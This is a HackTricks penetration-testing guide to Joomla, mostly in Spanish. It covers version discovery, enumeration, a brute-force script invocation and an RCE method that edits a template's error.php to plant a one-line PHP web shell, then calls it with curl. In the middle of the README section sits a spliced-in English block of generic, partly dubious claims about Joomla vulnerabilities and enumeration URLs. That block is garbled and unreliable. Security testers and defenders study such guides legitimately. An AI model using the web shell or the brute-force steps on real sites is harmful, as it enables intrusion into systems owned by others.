hacktricks/network-services-pentesting/pentesting-web/joomla.md
carlospolop 63bd9641c0 f
2023-06-05 20:33:24 +02:00

7.5 KiB

Joomla

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Estadísticas de Joomla

Joomla recopila algunas estadísticas anónimas de uso, como la descomposición de las versiones de Joomla, PHP y la base de datos y los sistemas operativos del servidor en uso en las instalaciones de Joomla. Estos datos se pueden consultar a través de su API pública.

curl -s https://developer.joomla.org/stats/cms_version | python3 -m json.tool

{
    "data": {
        "cms_version": {
            "3.0": 0,
            "3.1": 0,
            "3.10": 6.33,
            "3.2": 0.01,
            "3.3": 0.02,
            "3.4": 0.05,
            "3.5": 12.24,
            "3.6": 22.85,
            "3.7": 7.99,
            "3.8": 17.72,
            "3.9": 27.24,
            "4.0": 3.21,
            "4.1": 1.53,
            "4.2": 0.82,
            "4.3": 0,
            "5.0": 0
        },
        "total": 2951032
    }
}

Enumeración

Descubrimiento/Reconocimiento

  • Revisar la meta
curl https://www.joomla.org/ | grep Joomla | grep generator

<meta name="generator" content="Joomla! - Open Source Content Management" />
  • robots.txt

El archivo robots.txt es un archivo de texto que se encuentra en la raíz del sitio web y que indica a los robots de los motores de búsqueda qué páginas o secciones del sitio web no deben ser indexadas. Es importante revisar este archivo en busca de información sensible o de rutas que puedan ser utilizadas para acceder a secciones no autorizadas del sitio web.

# If the Joomla site is installed within a folder
# eg www.example.com/joomla/ then the robots.txt file
# MUST be moved to the site root
# eg www.example.com/robots.txt
# AND the joomla folder name MUST be prefixed to all of the
# paths.
[...]
  • README.txt

Joomla

Enumeration

Version

To know the version of Joomla you can check the generator meta tag in the HTML code of the page or check the version.php file in the root directory.

Users

To enumerate users you can use the com_users component. You can access it by adding /index.php?option=com_users&view=users to the URL.

Components

To enumerate components you can use the discover feature. You can access it by adding /index.php?option=com_config&view=component&filter[component]=<component_name> to the URL.

Modules

To enumerate modules you can use the discover feature. You can access it by adding /index.php?option=com_config&view=component&filter[component]=<module_name> to the URL.

Templates

To enumerate templates you can use the discover feature. You can access it by adding /index.php?option=com_config&view=component&filter[component]=<template_name> to the URL.

Exploitation

SQL Injection

Joomla is vulnerable to SQL injection in several components. You can use tools like SQLMap to automate the process.

File Upload

Joomla is vulnerable to file upload attacks in several components. You can use tools like Metasploit or Burp Suite to exploit this vulnerability.

Remote Code Execution

Joomla is vulnerable to remote code execution in several components. You can use tools like Metasploit or Burp Suite to exploit this vulnerability.

Password Hashes

Joomla stores password hashes in the jos_users table. You can use tools like John the Ripper or Hashcat to crack the hashes.

Configuration File

Joomla stores sensitive information like database credentials in the configuration.php file. You can use tools like Metasploit or Burp Suite to read this file.

Brute Force

Joomla is vulnerable to brute force attacks in the login page. You can use tools like Hydra or Burp Suite to automate the process.

Local File Inclusion

Joomla is vulnerable to local file inclusion in several components. You can use tools like Burp Suite to exploit this vulnerability.

Cross-Site Scripting

Joomla is vulnerable to cross-site scripting in several components. You can use tools like Burp Suite to exploit this vulnerability.

1- What is this?
	* This is a Joomla! installation/upgrade package to version 3.x
	* Joomla! Official site: https://www.joomla.org
	* Joomla! 3.9 version history - https://docs.joomla.org/Special:MyLanguage/Joomla_3.9_version_history
	* Detailed changes in the Changelog: https://github.com/joomla/joomla-cms/commits/staging

Versión

  • En /administrator/manifests/files/joomla.xml **** puedes ver la versión.
  • En /language/en-GB/en-GB.xml puedes obtener la versión de Joomla.
  • En plugins/system/cache/cache.xml puedes ver una versión aproximada.
droopescan scan joomla --url http://joomla-site.local/

En el apartado 80,443 - Metodología de Pentesting Web se encuentra una sección sobre escáneres de CMS que pueden escanear Joomla.

Fuerza Bruta

Puedes utilizar este script para intentar realizar un ataque de fuerza bruta en el login.

sudo python3 joomla-brute.py -u http://joomla-site.local/ -w /usr/share/metasploit-framework/data/wordlists/http_default_pass.txt -usr admin
 
admin:admin

RCE

Si lograste obtener las credenciales de administrador, puedes hacer RCE dentro de ella agregando un fragmento de código PHP para obtener RCE. Podemos hacer esto personalizando una plantilla.

  1. Haz clic en Templates en la parte inferior izquierda debajo de Configuration para abrir el menú de plantillas.
  2. Haz clic en el nombre de una plantilla. Vamos a elegir protostar bajo el encabezado de columna Template. Esto nos llevará a la página Templates: Customise.
  3. Finalmente, puedes hacer clic en una página para abrir la fuente de la página. Vamos a elegir la página error.php. Agregaremos un comando PHP de una línea para obtener la ejecución de código de la siguiente manera:
    1. system($_GET['cmd']);
  4. Guardar y cerrar
  5. curl -s http://joomla-site.local/templates/protostar/error.php/error.php?cmd=id